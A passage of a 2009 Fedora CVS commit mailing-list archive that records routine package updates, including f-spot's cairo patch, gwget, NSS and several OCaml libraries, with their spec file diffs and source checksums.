	NONE, 1.1 f-spot.spec, 1.94, 1.95 0001-fix-parallel-build.patch, 1.1, 
	NONE 0001-use-mono-s-cairo-API-instead-of-using-DllImport.patch,
	1.1, NONE facebook-exporter-duplicate-label-fix.patch, 1.1, NONE
Message-ID: <20091004194248.E21B411C00E5@cvs1.fedora.phx.redhat.com>

Author: chkr

Update of /cvs/pkgs/rpms/f-spot/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6955

Modified Files:
	f-spot.spec 
Added Files:
	0001-remove-support-for-older-cairo-version.patch 
Removed Files:
	0001-fix-parallel-build.patch 
	0001-use-mono-s-cairo-API-instead-of-using-DllImport.patch 
	facebook-exporter-duplicate-label-fix.patch 
Log Message:
* Sun Oct 04 2009 Christian Krause <chkr at fedoraproject.org> - 0.6.1.3-1
- Update to 0.6.1.3 (BZ 526217)
- Remove two upstreamed patches
- Use a slightly different fix for the cairo-devel dependency as
  suggested by upstream


0001-remove-support-for-older-cairo-version.patch:
 configure.ac     |    3 ++-
 src/SoftFocus.cs |   21 ++++-----------------
 2 files changed, 6 insertions(+), 18 deletions(-)

--- NEW FILE 0001-remove-support-for-older-cairo-version.patch ---
>From 9c61aa6f334a94f077e63e3b82f1aeaa457dfe8a Mon Sep 17 00:00:00 2001
From: Christian Krause <chkr at plauener.de>
Date: Sun, 4 Oct 2009 20:30:18 +0200
Subject: [PATCH] remove support for older cairo version

- remove DllImport of cairo since it is not needed anymore
- remove special code for older cairo version
- check for cairo >= 1.4.0 in configure.ac
---
 configure.ac     |    3 ++-
 src/SoftFocus.cs |   20 ++++----------------
 2 files changed, 6 insertions(+), 17 deletions(-)

diff --git a/configure.ac b/configure.ac
index 22fcd86..7f82d8b 100644
--- a/configure.ac
+++ b/configure.ac
@@ -69,11 +69,12 @@ BEAGLE_REQUIRED=0.3.0
 NDESK_DBUS_REQUIRED=0.4.2
 NDESK_DBUS_GLIB_REQUIRED=0.3.0
 MONO_CAIRO_REQUIRED=1.2.4
+CAIRO_REQUIRED=1.4.0
 dnl -- this check is 	
 LCMS_REQUIRED=1.12
 dnl -- LIBGPHOTO2_REQUIRED=2.1.4
 
-PKG_CHECK_MODULES(F, libgnome-2.0 >= $LIBGNOME_REQUIRED libgnomeui-2.0 >= $LIBGNOMEUI_REQUIRED libexif >= $LIBEXIF_REQUIRED_MIN libexif < $LIBEXIF_REQUIRED_MAX gtk-sharp-2.0 >= $GTKSHARP_REQUIRED glib-sharp-2.0 >= $GTKSHARP_REQUIRED glade-sharp-2.0 >= $GTKSHARP_REQUIRED gnome-vfs-sharp-2.0 >= $GTKSHARP_REQUIRED gtk+-2.0 >= $GTK_REQUIRED mono >= $MONO_REQUIRED mono-cairo >= $MONO_CAIRO_REQUIRED)
+PKG_CHECK_MODULES(F, libgnome-2.0 >= $LIBGNOME_REQUIRED libgnomeui-2.0 >= $LIBGNOMEUI_REQUIRED libexif >= $LIBEXIF_REQUIRED_MIN libexif < $LIBEXIF_REQUIRED_MAX gtk-sharp-2.0 >= $GTKSHARP_REQUIRED glib-sharp-2.0 >= $GTKSHARP_REQUIRED glade-sharp-2.0 >= $GTKSHARP_REQUIRED gnome-vfs-sharp-2.0 >= $GTKSHARP_REQUIRED gtk+-2.0 >= $GTK_REQUIRED mono >= $MONO_REQUIRED mono-cairo >= $MONO_CAIRO_REQUIRED cairo >= $CAIRO_REQUIRED)
 AC_SUBST(F_CFLAGS)
 AC_SUBST(F_LIBS)
 
diff --git a/src/SoftFocus.cs b/src/SoftFocus.cs
index 86f2918..7291d5a 100644
--- a/src/SoftFocus.cs
+++ b/src/SoftFocus.cs
@@ -14,9 +14,6 @@ namespace FSpot.Widgets {
 
 	public class SoftFocus {
 
-		[DllImport ("cairo")]
-		internal static extern int cairo_version ();
-
 		ImageInfo info;
 		double radius;
 		double amount;
@@ -107,20 +104,11 @@ namespace FSpot.Widgets {
 
 			RadialGradient circle;
 
-			// FIXME ugh cairo 1.0.2 is so broken why are we still shipping it.
-			if (cairo_version () > (1 * 10000 + 2 * 100 + 0)) {
-				circle = new RadialGradient (center.X * scale, center.Y * scale, radius * max * .7,
-							     center.X * scale, center.Y * scale, radius * max + max * .2);
-
-				circle.AddColorStop (0, new Cairo.Color (0.0, 0.0, 0.0, 0.0));
-				circle.AddColorStop (1.0, new Cairo.Color (1.0, 1.0, 1.0, 1.0));
-			} else {
-				circle = new RadialGradient (center.X * scale, center.Y * scale, radius * max + max * .2,
-							     center.X * scale, center.Y * scale, radius * max * .7);
+			circle = new RadialGradient (center.X * scale, center.Y * scale, radius * max * .7,
+						     center.X * scale, center.Y * scale, radius * max + max * .2);
 
-				circle.AddColorStop (1.0, new Cairo.Color (0.0, 0.0, 0.0, 0.0));
-				circle.AddColorStop (0, new Cairo.Color (1.0, 1.0, 1.0, 1.0));
-			}
+			circle.AddColorStop (0, new Cairo.Color (0.0, 0.0, 0.0, 0.0));
+			circle.AddColorStop (1.0, new Cairo.Color (1.0, 1.0, 1.0, 1.0));
 			return circle;
 		}
 
-- 
1.6.0.6



Index: f-spot.spec
===================================================================
RCS file: /cvs/pkgs/rpms/f-spot/devel/f-spot.spec,v
retrieving revision 1.94
retrieving revision 1.95
diff -u -p -r1.94 -r1.95
--- f-spot.spec	30 Sep 2009 21:17:07 -0000	1.94
+++ f-spot.spec	4 Oct 2009 19:42:48 -0000	1.95
@@ -1,24 +1,18 @@
 Name:           f-spot
-Version:        0.6.1.2
-Release:        3%{?dist}
+Version:        0.6.1.3
+Release:        1%{?dist}
 Summary:        Photo management application
 
 Group:          Applications/Multimedia
 License:        GPLv2+ and LGPLv2+ and CPL and MIT
 URL:            http://f-spot.org/
 Source0:        http://ftp.gnome.org/pub/gnome/sources/f-spot/0.6/f-spot-%{version}.tar.bz2
-# http://bugzilla.gnome.org/show_bug.cgi?id=593243
-Patch1:         0001-fix-parallel-build.patch
 # Use system mono-addins
 Patch2:         0001-use-system-Mono.Addins-if-available.patch
 # unmount cameras before importing
 Patch3:         0002-enhance-the-f-spot-import-script.patch
-# upstream patch to fix crash in facebook exporter:
-# commit 807dab4344ecdadc7e46793369821de8b49692e5
-# commit b87604bc9782bf92f053aaf3ceb739a32f44ea13
-Patch4:         facebook-exporter-duplicate-label-fix.patch
 # http://bugzilla.gnome.org/show_bug.cgi?id=596922
-Patch5:         0001-use-mono-s-cairo-API-instead-of-using-DllImport.patch
+Patch5:         0001-remove-support-for-older-cairo-version.patch 
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -69,11 +63,9 @@ photo collection in a slideshow as a scr
 
 %prep
 %setup -q
-%patch1 -p1 -b .parallel-build
 %patch2 -p1 -b .link-system-mono-addins
 %patch3 -p1 -b .gvfs-gphoto
-%patch4 -p1 -b .faceboox-exporter-crash
-%patch5 -p1 -b .cairo-fix
+%patch5 -p1 -F 2 -b .cairo-fix
 
 %build
 autoreconf -f -i
@@ -147,6 +139,12 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_datadir}/applications/screensavers/f-spot-screensaver.desktop
 
 %changelog
+* Sun Oct 04 2009 Christian Krause <chkr at fedoraproject.org> - 0.6.1.3-1
+- Update to 0.6.1.3 (BZ 526217)
+- Remove two upstreamed patches
+- Use a slightly different fix for the cairo-devel dependency as
+  suggested by upstream
+
 * Wed Sep 30 2009 Christian Krause <chkr at fedoraproject.org> - 0.6.1.2-3
 - Add patch to fix f-spot crash when using "soft focus" and cairo-devel
   was not installed (BZ 526563)


--- 0001-fix-parallel-build.patch DELETED ---


--- 0001-use-mono-s-cairo-API-instead-of-using-DllImport.patch DELETED ---


--- facebook-exporter-duplicate-label-fix.patch DELETED ---



From emaldonado at fedoraproject.org  Sun Oct  4 19:54:55 2009
From: emaldonado at fedoraproject.org (Elio Maldonado)
Date: Sun,  4 Oct 2009 19:54:55 +0000 (UTC)
Subject: rpms/nss/devel blank-key4.db,1.1,1.2
Message-ID: <20091004195455.9497F11C00E5@cvs1.fedora.phx.redhat.com>

Author: emaldonado

Update of /cvs/extras/rpms/nss/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9556

Modified Files:
	blank-key4.db 
Log Message:
Fix bug where user was prompted for a password when listing keys on an empty system database (#527048)


Index: blank-key4.db
===================================================================
RCS file: /cvs/extras/rpms/nss/devel/blank-key4.db,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
Binary files /tmp/cvsHNfGdZ and /tmp/cvs78pLDa differ



From chkr at fedoraproject.org  Sun Oct  4 19:55:30 2009
From: chkr at fedoraproject.org (chkr)
Date: Sun,  4 Oct 2009 19:55:30 +0000 (UTC)
Subject: rpms/f-spot/devel .cvsignore,1.23,1.24 sources,1.23,1.24
Message-ID: <20091004195530.044A411C00E5@cvs1.fedora.phx.redhat.com>

Author: chkr

Update of /cvs/pkgs/rpms/f-spot/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9655

Modified Files:
	.cvsignore sources 
Log Message:
upload new sources f-spot-0.6.1.3.tar.bz2



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/f-spot/devel/.cvsignore,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- .cvsignore	17 Sep 2009 19:24:50 -0000	1.23
+++ .cvsignore	4 Oct 2009 19:55:29 -0000	1.24
@@ -1 +1 @@
-f-spot-0.6.1.2.tar.bz2
+f-spot-0.6.1.3.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/f-spot/devel/sources,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- sources	17 Sep 2009 19:24:51 -0000	1.23
+++ sources	4 Oct 2009 19:55:29 -0000	1.24
@@ -1 +1 @@
-ca2960be13e3c1d2f15da175691d671a  f-spot-0.6.1.2.tar.bz2
+fbfef5c37c201f54b590f03d5b0000d5  f-spot-0.6.1.3.tar.bz2



From cwickert at fedoraproject.org  Sun Oct  4 20:28:53 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Sun,  4 Oct 2009 20:28:53 +0000 (UTC)
Subject: rpms/gwget/devel .cvsignore, 1.13, 1.14 gwget.spec, 1.36,
	1.37 sources, 1.13, 1.14 gwget-epiphany-webkit.patch, 1.1, NONE
Message-ID: <20091004202853.2632D11C00E5@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/gwget/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19057

Modified Files:
	.cvsignore gwget.spec sources 
Removed Files:
	gwget-epiphany-webkit.patch 
Log Message:
* Sun Oct 04 2009 Christoph Wickert <cwickert at fedoraproject.org> - 1.0.3-1
- Update to 1.0.3
- Remove Vincent's patch as it was upstreamed



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gwget/devel/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	14 Aug 2009 03:21:34 -0000	1.13
+++ .cvsignore	4 Oct 2009 20:28:52 -0000	1.14
@@ -1 +1 @@
-gwget-1.0.2.tar.bz2
+gwget-1.0.3.tar.bz2


Index: gwget.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gwget/devel/gwget.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- gwget.spec	14 Aug 2009 03:21:34 -0000	1.36
+++ gwget.spec	4 Oct 2009 20:28:52 -0000	1.37
@@ -1,10 +1,10 @@
 %global epimajor 2.26
 # enable/disable epiphany extension
-%global _with_epiphany 1
 # if you comment this out, make sure to remove the %
+%global _with_epiphany 1
 
 Name:		gwget
-Version:	1.0.2
+Version:	1.0.3
 Release:	1%{?dist}
 Summary:	Graphical download manager that uses wget
 
@@ -12,7 +12,6 @@ License:	GPLv2+
 Group:		Applications/Internet
 URL:		http://gnome.org/projects/gwget
 Source0:	http://ftp.gnome.org/pub/GNOME/sources/gwget/1.0/gwget-%{version}.tar.bz2
-Patch0:		gwget-epiphany-webkit.patch
 Buildroot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:	libgnomeui-devel >= 2.0
@@ -48,7 +47,6 @@ This package contains gwget2 extensions 
 
 %prep
 %setup -q
-%patch0 -p1 -b .epiphany
 # convert files to UTF-8 with preserving the timestamps
 for file in ChangeLog README; do
     mv $file timestamp
@@ -120,6 +118,10 @@ export GCONF_CONFIG_SOURCE=`gconftool-2 
 
 
 %changelog
+* Sun Oct 04 2009 Christoph Wickert <cwickert at fedoraproject.org> - 1.0.3-1
+- Update to 1.0.3
+- Remove Vincent's patch as it was upstreamed
+
 * Fri Aug 14 2009 Christoph Wickert <cwickert at fedoraproject.org> - 1.0.2-1
 - Update to 1.0.2
 - Patch to enable epiphany extension again (Vincent Untz)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gwget/devel/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	14 Aug 2009 03:21:34 -0000	1.13
+++ sources	4 Oct 2009 20:28:52 -0000	1.14
@@ -1 +1 @@
-52b518ea58b3bd618db0c58910ee5ccc  gwget-1.0.2.tar.bz2
+5cf5e1a8760d9452a2c7ba9c4a096b94  gwget-1.0.3.tar.bz2


--- gwget-epiphany-webkit.patch DELETED ---



From rjones at fedoraproject.org  Sun Oct  4 20:39:27 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Sun,  4 Oct 2009 20:39:27 +0000 (UTC)
Subject: rpms/ocaml-findlib/devel .cvsignore, 1.6, 1.7 ocaml-findlib.spec,
	1.23, 1.24 sources, 1.6, 1.7 ocaml-findlib-1.2.3-camlp4-META.patch,
	1.1, NONE
Message-ID: <20091004203927.7A80211C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-findlib/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22795

Modified Files:
	.cvsignore ocaml-findlib.spec sources 
Removed Files:
	ocaml-findlib-1.2.3-camlp4-META.patch 
Log Message:
New upstream version 1.2.5.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-findlib/devel/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	22 May 2009 21:31:10 -0000	1.6
+++ .cvsignore	4 Oct 2009 20:39:27 -0000	1.7
@@ -1 +1 @@
-findlib-1.2.4.tar.gz
+findlib-1.2.5.tar.gz


Index: ocaml-findlib.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-findlib/devel/ocaml-findlib.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- ocaml-findlib.spec	25 Jul 2009 19:56:58 -0000	1.23
+++ ocaml-findlib.spec	4 Oct 2009 20:39:27 -0000	1.24
@@ -2,8 +2,8 @@
 %define debug_package %{nil}
 
 Name:           ocaml-findlib
-Version:        1.2.4
-Release:        4%{?dist}
+Version:        1.2.5
+Release:        1%{?dist}
 Summary:        Objective CAML package manager and build helper
 
 Group:          Development/Libraries
@@ -110,6 +110,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct  4 2009 Richard W.M. Jones <rjones at redhat.com> - 1.2.5-1
+- New upstream version 1.2.5.
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.2.4-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-findlib/devel/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	22 May 2009 21:31:10 -0000	1.6
+++ sources	4 Oct 2009 20:39:27 -0000	1.7
@@ -1 +1 @@
-52cfcacff3e07a94bc3adb977fbb3c07  findlib-1.2.4.tar.gz
+db12a92903c2869bb89e1a6446db269e  findlib-1.2.5.tar.gz


--- ocaml-findlib-1.2.3-camlp4-META.patch DELETED ---



From rjones at fedoraproject.org  Sun Oct  4 20:47:49 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Sun,  4 Oct 2009 20:47:49 +0000 (UTC)
Subject: rpms/ocaml-lacaml/devel .cvsignore, 1.8, 1.9 ocaml-lacaml.spec, 1.12,
	1.13 sources, 1.8, 1.9
Message-ID: <20091004204749.5AA0411C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-lacaml/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24378

Modified Files:
	.cvsignore ocaml-lacaml.spec sources 
Log Message:
New upstream release 5.4.7.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-lacaml/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	23 May 2009 08:29:34 -0000	1.8
+++ .cvsignore	4 Oct 2009 20:47:49 -0000	1.9
@@ -1 +1 @@
-release-5.1.0.tar.bz2
+release-5.4.7.tar.bz2


Index: ocaml-lacaml.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-lacaml/devel/ocaml-lacaml.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- ocaml-lacaml.spec	25 Jul 2009 19:58:50 -0000	1.12
+++ ocaml-lacaml.spec	4 Oct 2009 20:47:49 -0000	1.13
@@ -2,8 +2,8 @@
 %define debug_package %{nil}
 
 Name:           ocaml-lacaml
-Version:        5.1.0
-Release:        2%{?dist}
+Version:        5.4.7
+Release:        1%{?dist}
 Summary:        BLAS/LAPACK-interface for OCaml
 
 Group:          Development/Libraries
@@ -98,6 +98,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct  4 2009 Richard W.M. Jones <rjones at redhat.com> - 5.4.7-1
+- New upstream release 5.4.7.
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 5.1.0-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-lacaml/devel/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	23 May 2009 08:29:34 -0000	1.8
+++ sources	4 Oct 2009 20:47:49 -0000	1.9
@@ -1 +1 @@
-3a7da60fd0559a05ed0d1e9f7bee3537  release-5.1.0.tar.bz2
+435b43102a7ff4bdbafc1b3a014fdf71  release-5.4.7.tar.bz2



From rjones at fedoraproject.org  Sun Oct  4 20:56:22 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Sun,  4 Oct 2009 20:56:22 +0000 (UTC)
Subject: rpms/ocaml-sexplib/devel .cvsignore, 1.6, 1.7 ocaml-sexplib.spec,
	1.11, 1.12 sources, 1.6, 1.7
Message-ID: <20091004205622.F1D0511C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-sexplib/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28403

Modified Files:
	.cvsignore ocaml-sexplib.spec sources 
Log Message:
New upstream version 4.2.15.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-sexplib/devel/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	23 May 2009 11:07:54 -0000	1.6
+++ .cvsignore	4 Oct 2009 20:56:22 -0000	1.7
@@ -1 +1 @@
-release-4.2.10.tar.bz2
+release-4.2.15.tar.bz2


Index: ocaml-sexplib.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-sexplib/devel/ocaml-sexplib.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- ocaml-sexplib.spec	25 Jul 2009 20:04:53 -0000	1.11
+++ ocaml-sexplib.spec	4 Oct 2009 20:56:22 -0000	1.12
@@ -2,8 +2,8 @@
 %define debug_package %{nil}
 
 Name:           ocaml-sexplib
-Version:        4.2.10
-Release:        3%{?dist}
+Version:        4.2.15
+Release:        1%{?dist}
 Summary:        OCaml library for converting OCaml values to S-expressions
 
 Group:          Development/Libraries
@@ -100,6 +100,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct  4 2009 Richard W.M. Jones <rjones at redhat.com> - 4.2.15-1
+- New upstream version 4.2.15.
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4.2.10-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-sexplib/devel/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	23 May 2009 11:07:54 -0000	1.6
+++ sources	4 Oct 2009 20:56:22 -0000	1.7
@@ -1 +1 @@
-b7d9564386a6a0eebe14d76322245291  release-4.2.10.tar.bz2
+65e12e71b9adc9c255fd61a0b5148e5f  release-4.2.15.tar.bz2



From rjones at fedoraproject.org  Sun Oct  4 20:56:31 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Sun,  4 Oct 2009 20:56:31 +0000 (UTC)
Subject: rpms/ocaml-type-conv/devel .cvsignore, 1.7, 1.8 ocaml-type-conv.spec,
	1.14, 1.15 sources, 1.7, 1.8
Message-ID: <20091004205631.4274B11C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-type-conv/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28447

Modified Files:
	.cvsignore ocaml-type-conv.spec sources 
Log Message:
New upstream version 1.6.10.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-type-conv/devel/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	10 Mar 2009 14:18:14 -0000	1.7
+++ .cvsignore	4 Oct 2009 20:56:31 -0000	1.8
@@ -1 +1 @@
-release-1.6.7.tar.bz2
+release-1.6.10.tar.bz2


Index: ocaml-type-conv.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-type-conv/devel/ocaml-type-conv.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- ocaml-type-conv.spec	25 Jul 2009 20:05:38 -0000	1.14
+++ ocaml-type-conv.spec	4 Oct 2009 20:56:31 -0000	1.15
@@ -2,8 +2,8 @@
 %define debug_package %{nil}
 
 Name:           ocaml-type-conv
-Version:        1.6.7
-Release:        3%{?dist}
+Version:        1.6.10
+Release:        1%{?dist}
 Summary:        OCaml base library for type conversion
 
 Group:          Development/Libraries
@@ -59,6 +59,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct  4 2009 Richard W.M. Jones <rjones at redhat.com> - 1.6.10-1
+- New upstream version 1.6.10.
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.6.7-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-type-conv/devel/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	10 Mar 2009 14:18:14 -0000	1.7
+++ sources	4 Oct 2009 20:56:31 -0000	1.8
@@ -1 +1 @@
-2e62bb45147041d73f17a8b214afec1c  release-1.6.7.tar.bz2
+70bc643ceaaed9bd5528dd702a0a6e8f  release-1.6.10.tar.bz2



From cwickert at fedoraproject.org  Sun Oct  4 21:01:30 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Sun,  4 Oct 2009 21:01:30 +0000 (UTC)
Subject: rpms/gwget/F-12 .cvsignore, 1.13, 1.14 gwget.spec, 1.36,
	1.37 sources, 1.13, 1.14 gwget-epiphany-webkit.patch, 1.1, NONE
Message-ID: <20091004210130.6C05311C00E5@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/gwget/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30008

Modified Files:
	.cvsignore gwget.spec sources 
Removed Files:
	gwget-epiphany-webkit.patch 
Log Message:
* Sun Oct 04 2009 Christoph Wickert <cwickert at fedoraproject.org> - 1.0.3-1
- Update to 1.0.3
- Remove Vincent's patch as it was upstreamed



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gwget/F-12/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	14 Aug 2009 03:21:34 -0000	1.13
+++ .cvsignore	4 Oct 2009 21:01:29 -0000	1.14
@@ -1 +1 @@
-gwget-1.0.2.tar.bz2
+gwget-1.0.3.tar.bz2


Index: gwget.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gwget/F-12/gwget.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- gwget.spec	14 Aug 2009 03:21:34 -0000	1.36
+++ gwget.spec	4 Oct 2009 21:01:30 -0000	1.37
@@ -1,10 +1,10 @@
 %global epimajor 2.26
 # enable/disable epiphany extension
-%global _with_epiphany 1
 # if you comment this out, make sure to remove the %
+%global _with_epiphany 1
 
 Name:		gwget
-Version:	1.0.2
+Version:	1.0.3
 Release:	1%{?dist}
 Summary:	Graphical download manager that uses wget
 
@@ -12,7 +12,6 @@ License:	GPLv2+
 Group:		Applications/Internet
 URL:		http://gnome.org/projects/gwget
 Source0:	http://ftp.gnome.org/pub/GNOME/sources/gwget/1.0/gwget-%{version}.tar.bz2
-Patch0:		gwget-epiphany-webkit.patch
 Buildroot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:	libgnomeui-devel >= 2.0
@@ -48,7 +47,6 @@ This package contains gwget2 extensions 
 
 %prep
 %setup -q
-%patch0 -p1 -b .epiphany
 # convert files to UTF-8 with preserving the timestamps
 for file in ChangeLog README; do
     mv $file timestamp
@@ -120,6 +118,10 @@ export GCONF_CONFIG_SOURCE=`gconftool-2 
 
 
 %changelog
+* Sun Oct 04 2009 Christoph Wickert <cwickert at fedoraproject.org> - 1.0.3-1
+- Update to 1.0.3
+- Remove Vincent's patch as it was upstreamed
+
 * Fri Aug 14 2009 Christoph Wickert <cwickert at fedoraproject.org> - 1.0.2-1
 - Update to 1.0.2
 - Patch to enable epiphany extension again (Vincent Untz)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gwget/F-12/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	14 Aug 2009 03:21:34 -0000	1.13
+++ sources	4 Oct 2009 21:01:30 -0000	1.14
@@ -1 +1 @@
-52b518ea58b3bd618db0c58910ee5ccc  gwget-1.0.2.tar.bz2
+5cf5e1a8760d9452a2c7ba9c4a096b94  gwget-1.0.3.tar.bz2


--- gwget-epiphany-webkit.patch DELETED ---



From rjones at fedoraproject.org  Sun Oct  4 21:01:55 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Sun,  4 Oct 2009 21:01:55 +0000 (UTC)
Subject: rpms/ocaml-type-conv/devel ocaml-type-conv.spec,1.15,1.16
Message-ID: <20091004210155.31CF511C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-type-conv/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30142

Modified Files:
	ocaml-type-conv.spec 
Log Message:
Changelog file changed name.


Index: ocaml-type-conv.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-type-conv/devel/ocaml-type-conv.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- ocaml-type-conv.spec	4 Oct 2009 20:56:31 -0000	1.15
+++ ocaml-type-conv.spec	4 Oct 2009 21:01:54 -0000	1.16
@@ -3,7 +3,7 @@
 
 Name:           ocaml-type-conv
 Version:        1.6.10
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        OCaml base library for type conversion
 
 Group:          Development/Libraries
@@ -54,13 +54,14 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc LICENSE LICENSE.Tywith CHANGES COPYRIGHT README.txt
+%doc LICENSE LICENSE.Tywith Changelog COPYRIGHT README.txt
 %{_libdir}/ocaml/type-conv
 
 
 %changelog
-* Sun Oct  4 2009 Richard W.M. Jones <rjones at redhat.com> - 1.6.10-1
+* Sun Oct  4 2009 Richard W.M. Jones <rjones at redhat.com> - 1.6.10-2
 - New upstream version 1.6.10.
+- "CHANGES" -> "Changelog"
 
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.6.7-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild



From rjones at fedoraproject.org  Sun Oct  4 21:03:49 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Sun,  4 Oct 2009 21:03:49 +0000 (UTC)
Subject: rpms/ocaml-postgresql/devel .cvsignore, 1.6,
	1.7 ocaml-postgresql.spec, 1.16, 1.17 sources, 1.6, 1.7
Message-ID: <20091004210349.A19F411C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-postgresql/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30861

Modified Files:
	.cvsignore ocaml-postgresql.spec sources 
